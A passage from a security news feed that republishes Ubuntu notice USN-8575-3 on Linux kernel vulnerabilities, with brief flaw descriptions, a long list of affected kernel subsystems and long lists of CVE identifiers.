CVE-2026-23391, CVE-2026-23392, CVE-2026-23395, CVE-2026-23396,
CVE-2026-23397, CVE-2026-23398, CVE-2026-23399, CVE-2026-23401,
CVE-2026-23412, CVE-2026-23413, CVE-2026-23414, CVE-2026-23418,
CVE-2026-23419, CVE-2026-23420, CVE-2026-23426, CVE-2026-23428,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23440,
CVE-2026-23441, CVE-2026-23442, CVE-2026-23444, CVE-2026-23446,
CVE-2026-23447, CVE-2026-23448, CVE-2026-23449, CVE-2026-23450,
CVE-2026-23452, CVE-2026-23454, CVE-2026-23455, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31402, CVE-2026-31403, CVE-2026-31405, CVE-2026-31407,
CVE-2026-31408, CVE-2026-31409, CVE-2026-31411, CVE-2026-31412,
CVE-2026-31414, CVE-2026-31415, CVE-2026-31416, CVE-2026-31417,
CVE-2026-31418, CVE-2026-31421, CVE-2026-31422, CVE-2026-31423,
CVE-2026-31424, CVE-2026-31425, CVE-2026-31426, CVE-2026-31427,
CVE-2026-31428, CVE-2026-31429, CVE-2026-31430, CVE-2026-31432,
CVE-2026-31433, CVE-2026-31436, CVE-2026-31438, CVE-2026-31439,
CVE-2026-31440, CVE-2026-31441, CVE-2026-31446, CVE-2026-31447,
CVE-2026-31448, CVE-2026-31449, CVE-2026-31450, CVE-2026-31451,
CVE-2026-31452, CVE-2026-31453, CVE-2026-31454, CVE-2026-31455,
CVE-2026-31458, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31470, CVE-2026-31473, CVE-2026-31474,
CVE-2026-31476, CVE-2026-31477, CVE-2026-31478, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31506, CVE-2026-31507, CVE-2026-31508,
CVE-2026-31509, CVE-2026-31510, CVE-2026-31511, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31516, CVE-2026-31518, CVE-2026-31519,
CVE-2026-31520, CVE-2026-31521, CVE-2026-31522, CVE-2026-31523,
CVE-2026-31524, CVE-2026-31525, CVE-2026-31527, CVE-2026-31528,
CVE-2026-31530, CVE-2026-31532, CVE-2026-31540, CVE-2026-31542,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31548, CVE-2026-31549,
CVE-2026-31550, CVE-2026-31551, CVE-2026-31552, CVE-2026-31554,
CVE-2026-31555, CVE-2026-31556, CVE-2026-31557, CVE-2026-31563,
CVE-2026-31565, CVE-2026-31566, CVE-2026-31570, CVE-2026-31575,
CVE-2026-31576, CVE-2026-31577, CVE-2026-31578, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31590, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31602,
CVE-2026-31603, CVE-2026-31604, CVE-2026-31605, CVE-2026-31606,
CVE-2026-31607, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31615, CVE-2026-31616, CVE-2026-31617,
CVE-2026-31618, CVE-2026-31619, CVE-2026-31622, CVE-2026-31623,
CVE-2026-31624, CVE-2026-31625, CVE-2026-31626, CVE-2026-31627,
CVE-2026-31628, CVE-2026-31629, CVE-2026-31634, CVE-2026-31637,
CVE-2026-31638, CVE-2026-31639, CVE-2026-31642, CVE-2026-31645,
CVE-2026-31646, CVE-2026-31648, CVE-2026-31649, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31657, CVE-2026-31658,
CVE-2026-31659, CVE-2026-31660, CVE-2026-31661, CVE-2026-31662,
CVE-2026-31664, CVE-2026-31665, CVE-2026-31667, CVE-2026-31668,
CVE-2026-31669, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31682, CVE-2026-31683, CVE-2026-31684, CVE-2026-31685,
CVE-2026-31686, CVE-2026-31687, CVE-2026-31689, CVE-2026-31693,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43011,
CVE-2026-43012, CVE-2026-43013, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43016, CVE-2026-43017, CVE-2026-43018, CVE-2026-43019,
CVE-2026-43020, CVE-2026-43023, CVE-2026-43024, CVE-2026-43025,
CVE-2026-43026, CVE-2026-43027, CVE-2026-43028, CVE-2026-43030,
CVE-2026-43032, CVE-2026-43035, CVE-2026-43036, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43040, CVE-2026-43041, CVE-2026-43043,
CVE-2026-43044, CVE-2026-43046, CVE-2026-43047, CVE-2026-43049,
CVE-2026-43050, CVE-2026-43051, CVE-2026-43052, CVE-2026-43054,
CVE-2026-43056, CVE-2026-43057, CVE-2026-43058, CVE-2026-43059,
CVE-2026-43060, CVE-2026-43061, CVE-2026-43062, CVE-2026-43064,
CVE-2026-43065, CVE-2026-43066, CVE-2026-43068, CVE-2026-43069,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43085, CVE-2026-43086,
CVE-2026-43088, CVE-2026-43089, CVE-2026-43091, CVE-2026-43092,
CVE-2026-43093, CVE-2026-43094, CVE-2026-43098, CVE-2026-43099,
CVE-2026-43103, CVE-2026-43104, CVE-2026-43105, CVE-2026-43107,
CVE-2026-43109, CVE-2026-43110, CVE-2026-43111, CVE-2026-43112,
CVE-2026-43113, CVE-2026-43114, CVE-2026-43117, CVE-2026-43119,
CVE-2026-43120, CVE-2026-43123, CVE-2026-43124, CVE-2026-43128,
CVE-2026-43129, CVE-2026-43130, CVE-2026-43132, CVE-2026-43133,
CVE-2026-43134, CVE-2026-43135, CVE-2026-43136, CVE-2026-43137,
CVE-2026-43139, CVE-2026-43140, CVE-2026-43141, CVE-2026-43143,
CVE-2026-43145, CVE-2026-43147, CVE-2026-43148, CVE-2026-43149,
CVE-2026-43150, CVE-2026-43152, CVE-2026-43153, CVE-2026-43156,
CVE-2026-43157, CVE-2026-43158, CVE-2026-43159, CVE-2026-43162,
CVE-2026-43163, CVE-2026-43167, CVE-2026-43168, CVE-2026-43169,
CVE-2026-43170, CVE-2026-43171, CVE-2026-43173, CVE-2026-43175,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43185, CVE-2026-43186, CVE-2026-43187, CVE-2026-43189,
CVE-2026-43190, CVE-2026-43194, CVE-2026-43196, CVE-2026-43199,
CVE-2026-43200, CVE-2026-43201, CVE-2026-43202, CVE-2026-43203,
CVE-2026-43205, CVE-2026-43206, CVE-2026-43207, CVE-2026-43209,
CVE-2026-43211, CVE-2026-43214, CVE-2026-43215, CVE-2026-43218,
CVE-2026-43221, CVE-2026-43222, CVE-2026-43223, CVE-2026-43225,
CVE-2026-43226, CVE-2026-43227, CVE-2026-43230, CVE-2026-43231,
CVE-2026-43232, CVE-2026-43233, CVE-2026-43236, CVE-2026-43238,
CVE-2026-43239, CVE-2026-43241, CVE-2026-43242, CVE-2026-43244,
CVE-2026-43245, CVE-2026-43246, CVE-2026-43248, CVE-2026-43249,
CVE-2026-43250, CVE-2026-43251, CVE-2026-43252, CVE-2026-43253,
CVE-2026-43255, CVE-2026-43256, CVE-2026-43257, CVE-2026-43261,
CVE-2026-43262, CVE-2026-43264, CVE-2026-43265, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43271,
CVE-2026-43273, CVE-2026-43275, CVE-2026-43277, CVE-2026-43278,
CVE-2026-43279, CVE-2026-43281, CVE-2026-43283, CVE-2026-43287,
CVE-2026-43288, CVE-2026-43289, CVE-2026-43291, CVE-2026-43295,
CVE-2026-43296, CVE-2026-43297, CVE-2026-43300, CVE-2026-43302,
CVE-2026-43304, CVE-2026-43312, CVE-2026-43313, CVE-2026-43314,
CVE-2026-43315, CVE-2026-43316, CVE-2026-43317, CVE-2026-43318,
CVE-2026-43319, CVE-2026-43320, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43341, CVE-2026-43342,
CVE-2026-43343, CVE-2026-43345, CVE-2026-43350, CVE-2026-43355,
CVE-2026-43357, CVE-2026-43359, CVE-2026-43360, CVE-2026-43361,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43372, CVE-2026-43373, CVE-2026-43377,
CVE-2026-43378, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43383, CVE-2026-43384, CVE-2026-43386, CVE-2026-43387,
CVE-2026-43395, CVE-2026-43397, CVE-2026-43405, CVE-2026-43406,
CVE-2026-43407, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43414, CVE-2026-43415,
CVE-2026-43419, CVE-2026-43420, CVE-2026-43421, CVE-2026-43424,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43436,
CVE-2026-43437, CVE-2026-43439, CVE-2026-43441, CVE-2026-43445,
CVE-2026-43448, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43455, CVE-2026-43456,
CVE-2026-43457, CVE-2026-43458, CVE-2026-43459, CVE-2026-43466,
CVE-2026-43467, CVE-2026-43468, CVE-2026-43469, CVE-2026-43471,
CVE-2026-43472, CVE-2026-43473, CVE-2026-43475, CVE-2026-43476,
CVE-2026-43480, CVE-2026-43483, CVE-2026-43484, CVE-2026-43488,
CVE-2026-43490, CVE-2026-43491, CVE-2026-43492, CVE-2026-43493,
CVE-2026-43495, CVE-2026-43496, CVE-2026-43497, CVE-2026-43499,
CVE-2026-43501, CVE-2026-43502, CVE-2026-45834, CVE-2026-45835,
CVE-2026-45836, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45849, CVE-2026-45851, CVE-2026-45852, CVE-2026-45855,
CVE-2026-45856, CVE-2026-45857, CVE-2026-45858, CVE-2026-45859,
CVE-2026-45860, CVE-2026-45861, CVE-2026-45862, CVE-2026-45864,
CVE-2026-45865, CVE-2026-45866, CVE-2026-45867, CVE-2026-45868,
CVE-2026-45869, CVE-2026-45870, CVE-2026-45871, CVE-2026-45872,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45877, CVE-2026-45878,
CVE-2026-45879, CVE-2026-45880, CVE-2026-45881, CVE-2026-45882,
CVE-2026-45883, CVE-2026-45884, CVE-2026-45885, CVE-2026-45886,
CVE-2026-45890, CVE-2026-45891, CVE-2026-45893, CVE-2026-45895,
CVE-2026-45899, CVE-2026-45902, CVE-2026-45904, CVE-2026-45905,
CVE-2026-45910, CVE-2026-45911, CVE-2026-45912, CVE-2026-45913,
CVE-2026-45914, CVE-2026-45915, CVE-2026-45916, CVE-2026-45917,
CVE-2026-45919, CVE-2026-45920, CVE-2026-45921, CVE-2026-45923,
CVE-2026-45924, CVE-2026-45928, CVE-2026-45935, CVE-2026-45936,
CVE-2026-45938, CVE-2026-45941, CVE-2026-45942, CVE-2026-45943,
CVE-2026-45946, CVE-2026-45947, CVE-2026-45948, CVE-2026-45954,
CVE-2026-45956, CVE-2026-45957, CVE-2026-45958, CVE-2026-45960,
CVE-2026-45962, CVE-2026-45964, CVE-2026-45965, CVE-2026-45968,
CVE-2026-45969, CVE-2026-45970, CVE-2026-45972, CVE-2026-45973,
CVE-2026-45974, CVE-2026-45976, CVE-2026-45978, CVE-2026-45981,
CVE-2026-45982, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45988, CVE-2026-45989,
CVE-2026-45991, CVE-2026-45994, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46002, CVE-2026-46003, CVE-2026-46004,
CVE-2026-46005, CVE-2026-46006, CVE-2026-46007, CVE-2026-46009,
CVE-2026-46011, CVE-2026-46012, CVE-2026-46015, CVE-2026-46016,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46021, CVE-2026-46022,
CVE-2026-46023, CVE-2026-46024, CVE-2026-46026, CVE-2026-46027,
CVE-2026-46031, CVE-2026-46033, CVE-2026-46037, CVE-2026-46038,
CVE-2026-46040, CVE-2026-46041, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46119,
CVE-2026-46120, CVE-2026-46121, CVE-2026-46122, CVE-2026-46123,
CVE-2026-46124, CVE-2026-46125, CVE-2026-46126, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46129, CVE-2026-46131, CVE-2026-46132,
CVE-2026-46133, CVE-2026-46135, CVE-2026-46136, CVE-2026-46137,
CVE-2026-46138, CVE-2026-46139, CVE-2026-46142, CVE-2026-46143,
CVE-2026-46144, CVE-2026-46145, CVE-2026-46146, CVE-2026-46149,
CVE-2026-46150, CVE-2026-46151, CVE-2026-46152, CVE-2026-46157,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46163,
CVE-2026-46164, CVE-2026-46167, CVE-2026-46168, CVE-2026-46169,
CVE-2026-46172, CVE-2026-46173, CVE-2026-46174, CVE-2026-46176,
CVE-2026-46177, CVE-2026-46178, CVE-2026-46179, CVE-2026-46180,
CVE-2026-46184, CVE-2026-46185, CVE-2026-46186, CVE-2026-46187,
CVE-2026-46189, CVE-2026-46190, CVE-2026-46191, CVE-2026-46193,
CVE-2026-46194, CVE-2026-46195, CVE-2026-46196, CVE-2026-46197,
CVE-2026-46198, CVE-2026-46199, CVE-2026-46200, CVE-2026-46201,
CVE-2026-46204, CVE-2026-46205, CVE-2026-46206, CVE-2026-46207,
CVE-2026-46208, CVE-2026-46209, CVE-2026-46211, CVE-2026-46212,
CVE-2026-46214, CVE-2026-46218, CVE-2026-46219, CVE-2026-46220,
CVE-2026-46225, CVE-2026-46226, CVE-2026-46227, CVE-2026-46229,
CVE-2026-46230, CVE-2026-46231, CVE-2026-46232, CVE-2026-46233,
CVE-2026-46234, CVE-2026-46235, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46241, CVE-2026-46243, CVE-2026-46244, CVE-2026-46246,
CVE-2026-46247, CVE-2026-46249, CVE-2026-46250, CVE-2026-46251,
CVE-2026-46253, CVE-2026-46254, CVE-2026-46255, CVE-2026-46259,
CVE-2026-46260, CVE-2026-46261, CVE-2026-46265, CVE-2026-46266,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46280, CVE-2026-46282, CVE-2026-46285, CVE-2026-46286,
CVE-2026-46287, CVE-2026-46289, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46296, CVE-2026-46299,
CVE-2026-46301, CVE-2026-46303, CVE-2026-46304, CVE-2026-46306,
CVE-2026-46307, CVE-2026-46312, CVE-2026-46314, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52920, CVE-2026-52925,
CVE-2026-52933, CVE-2026-52936, CVE-2026-52951, CVE-2026-52954,
CVE-2026-52955, CVE-2026-52957, CVE-2026-52958, CVE-2026-52961,
CVE-2026-52962, CVE-2026-52963, CVE-2026-52964, CVE-2026-52967,
CVE-2026-52968, CVE-2026-52969, CVE-2026-52970, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52977, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52984, CVE-2026-52985, CVE-2026-52986, CVE-2026-52989,
CVE-2026-52990, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53013, CVE-2026-53014, CVE-2026-53015,
CVE-2026-53016, CVE-2026-53021, CVE-2026-53022, CVE-2026-53023,
CVE-2026-53032, CVE-2026-53033, CVE-2026-53034, CVE-2026-53035,
CVE-2026-53036, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53052, CVE-2026-53056, CVE-2026-53058, CVE-2026-53059,
CVE-2026-53060, CVE-2026-53061, CVE-2026-53062, CVE-2026-53063,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53066, CVE-2026-53068,
CVE-2026-53069, CVE-2026-53071, CVE-2026-53072, CVE-2026-53073,
CVE-2026-53074, CVE-2026-53075, CVE-2026-53076, CVE-2026-53077,
CVE-2026-53082, CVE-2026-53083, CVE-2026-53084, CVE-2026-53085,
CVE-2026-53086, CVE-2026-53088, CVE-2026-53093, CVE-2026-53094,
CVE-2026-53096, CVE-2026-53097, CVE-2026-53098, CVE-2026-53110,
CVE-2026-53111, CVE-2026-53112, CVE-2026-53115, CVE-2026-53117,
CVE-2026-53122, CVE-2026-53123, CVE-2026-53126, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53279, CVE-2026-53287, CVE-2026-53289,
CVE-2026-53291, CVE-2026-53293, CVE-2026-53294, CVE-2026-53295,
CVE-2026-53296, CVE-2026-53303, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53314, CVE-2026-53320, CVE-2026-53369,
CVE-2026-53374, CVE-2026-53375, CVE-2026-53376, CVE-2026-53379,
CVE-2026-63838, CVE-2026-63843, CVE-2026-63844, CVE-2026-63845,
CVE-2026-63846, CVE-2026-63847, CVE-2026-63848, CVE-2026-63851,
CVE-2026-63852, CVE-2026-63854, CVE-2026-63855, CVE-2026-63856,
CVE-2026-63860, CVE-2026-63861, CVE-2026-63862, CVE-2026-63865,
CVE-2026-64018, CVE-2026-64034, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-3: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691494/unix-server/usn-8575-3-linux-kernel-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:35 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
